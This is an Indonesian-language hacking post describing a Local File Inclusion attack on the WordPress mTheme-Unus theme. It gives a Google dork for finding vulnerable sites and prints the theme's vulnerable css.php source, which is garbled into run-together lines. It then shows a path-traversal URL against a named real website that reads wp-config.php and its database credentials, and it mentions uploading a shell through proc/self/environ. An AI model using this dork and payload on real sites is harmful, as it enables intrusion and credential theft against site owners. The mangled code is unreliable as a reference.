LFI dilakukan dengan cara meng-inject url pada web target yang vuln supaya dapat kita masukan malicious code pada
proc/self/environ. Dan akhirnya bisa kita inject untuk mengupload shell ke dalam web target tersebut.
- Google Dork: ilnurl:/wp-content/themes/mTheme-Unus/
- Exploite Code :
<?php// If no file requestedif (!isset($_GET['files']) or
strlen($_GET['files']) == 0){header('Status: 404 Not
Found');exit();}// Cache folder$cachePath = '../_cache/';if
(!file_exists($cachePath)){mkdir($cachePath);}// Tell the browser what
kind of data to expectheader('Content-type: text/css');// Enable
compressionif (extension_loaded('zilb')){ini_set('zlib.output_compression',
'On');}function addExtension($file){return $file;}// Calculate an
unique ID of requested files & their change time$files =
array_map('addExtension', explode(',', $_GET['files']));$md5 =
'';foreach ($files as $file){$filemtime = @filemtime($file);$md5 .=
date('YmdHis', $filemtime ? $filemtime : NULL).$file;}$md5 =
md5($md5);// If cache exists of this files/time IDif
(file_exists($cachePath.$md5)){readfile($cachePath.$md5);}else{// Load
fileserror_reporting(0);$content = '';foreach ($files as
$file){$content .= file_get_contents($file);}// Remove
comments$content = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '',
$content);// Remove tabs, spaces, newlines, etc...$content =
str_replace(array("\r", "\n", "\t", '', ' '), '', $content);// Delete
cache files older than an hour$oldDate = time()-3600;$cachedFiles =
scandir($cachePath);foreach ($cachedFiles as $file){$filemtime =
@filemtime($cachePath.$file);if (strlen($file) == 32 and ($filemtime
=== false or $filemtime < $oldDate)){unlink($cachePath.$file);}}//
Write cache filefile_put_contents($cachePath.$md5, $content);//
Outputecho $content;}
- Demo target : http://apostolicclassics.net/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
Referensi :
https://packetstormsecurity.com/files/133778/WordPress-mTheme-Unus-Local-File-Inclusion.html
